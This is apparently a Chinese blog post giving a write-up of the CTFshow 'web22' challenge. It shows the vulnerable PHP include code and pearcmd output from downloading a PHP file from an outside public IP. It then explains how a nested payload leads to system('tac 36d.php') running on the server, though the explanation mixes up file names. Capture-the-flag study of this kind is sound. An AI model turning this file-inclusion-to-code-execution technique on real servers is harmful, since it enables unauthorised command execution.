CTFshow 萌新web22

  • 源代码
<?php
if(isset($_GET['c'])){
       $c=$_GET['c'];
       if(!preg_match("/\:|\/|\\\/i",$c)){
               include($c.".php");
       }
}else{
        highlight_file(__FILE__);
}
?> 
downloading 1.php ... Starting to download 1.php (Unknown size) ....done: 30 bytes Could not get contents of package "/var/www/html/1.php". 
Invalid tgz file. Download of "http://公网IP/1.php" succeeded, but it is not a valid package archive Invalid or missing remote package file download failed 

最后访问1.php:
http://url.challenge.ctf.show/1.php
就会显示出flag了。

  • 原理:
  1. 构造两层嵌套,使用pearcmd 在下载并执行eval.php文件时,只是输出了一个字符串:
    2.这个字符串被写入到了eval.php文件中,但没有执行。
    3.当直接访问这个生成的eval.php文件时,外层的PHP代码会把里层的字符串当成PHP代码解析并执行。
    4.此时里层的system('tac 36d.php')就会被执行。
posted @ 2023-08-29 15:55  芝士奶绿  阅读(564)  评论(0编辑  收藏  举报